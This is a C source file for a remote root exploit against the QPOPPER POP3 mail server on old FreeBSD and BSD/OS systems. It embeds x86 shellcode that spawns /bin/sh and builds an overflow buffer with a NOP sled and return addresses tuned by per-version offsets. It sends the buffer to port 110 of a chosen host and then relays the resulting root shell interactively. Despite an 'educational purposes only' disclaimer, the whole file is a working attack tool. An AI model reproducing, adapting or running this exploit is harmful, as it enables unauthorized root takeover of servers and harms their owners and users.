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C/C++ Source or Header  |  2005-02-12  |  3KB  |  99 lines
  1. /*
  2.  *      QPOPPER - remote root exploit
  3.  *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
  4.  *
  5.  *              - tested against: FreeBSD 3.0
  6.  *                                FreeBSD 2.2.x
  7.  *                                BSDI BSD/OS 2.1
  8.  *              - offsets: FreeBSD with qpopper 2.3 - 2.4    0
  9.  *                         FreeBSD with qpopper 2.1.4-R3     900
  10.  *                         BSD/OS  with qpopper 2.1.4-R3     1500
  11.  *
  12.  *      this is for EDUCATIONAL purposes ONLY
  13.  */
  14.  
  15. #include        <stdio.h>
  16. #include        <stdlib.h>
  17. #include        <sys/time.h>
  18. #include        <sys/types.h>
  19. #include        <unistd.h>
  20. #include        <sys/socket.h>
  21. #include        <netinet/in.h>
  22. #include        <netdb.h>
  23.  
  24. #include        <sys/errno.h>
  25.  
  26. char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
  27.             "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
  28.             "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
  29.             "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
  30.             "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
  31.             "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  32.  
  33. #define ADDR 0xefbfd504
  34. #define OFFSET 0
  35. #define BUFLEN 1200
  36.  
  37. char    buf[BUFLEN];
  38. int     offset=OFFSET;
  39.  
  40. int     sock;
  41. struct  sockaddr_in sa;
  42. struct  hostent *hp;
  43.  
  44. void main (int argc, char *argv[]) {
  45.         int i;
  46.  
  47.         if(argc<2) {
  48.                 printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
  49.                 exit(0);
  50.         }
  51.         if(argc>2)
  52.                 offset=atoi(argv[2]);
  53.  
  54.         /* Prepare buffer */
  55.         memset(buf,0x90,BUFLEN);
  56.         memcpy(buf+800,shell,strlen(shell));
  57.         for(i=901;i<BUFLEN-4;i+=4)
  58.                 *(int *)&buf[i]=ADDR+offset;
  59.         buf[BUFLEN]='\n';
  60.  
  61.         /* Resolve remote hostname & connect*/
  62.         if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
  63.                 perror("gethostbyname()");
  64.                 exit(0);
  65.         }
  66.  
  67.         if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  68.                 perror("socket()");
  69.                 exit(0);
  70.         }
  71.         sa.sin_family=AF_INET;
  72.         sa.sin_port=htons(110);
  73.         memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
  74.         if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
  75.                 perror("connect()");
  76.                 exit(0);
  77.         }
  78.         printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
  79.         /* Write evil data */
  80.         write(sock,buf,strlen(buf));
  81.  
  82.         /* Enjoy root shell ;) */
  83.         while(1) {
  84.                 fd_set input;
  85.  
  86.                 FD_SET(0,&input);
  87.                 FD_SET(sock,&input);
  88.                 if((select(sock+1,&input,NULL,NULL,NULL))<0) {
  89.                         if(errno==EINTR) continue;
  90.                         printf("CONNECTION CLOSED...\n"); fflush(stdout);
  91.                         exit(1);
  92.                 }
  93.                 if(FD_ISSET(sock,&input))
  94.                         write(1,buf,read(sock,buf,BUFLEN));
  95.                 if(FD_ISSET(0,&input))
  96.                         write(sock,buf,read(0,buf,BUFLEN));
  97.         }
  98. }
  99.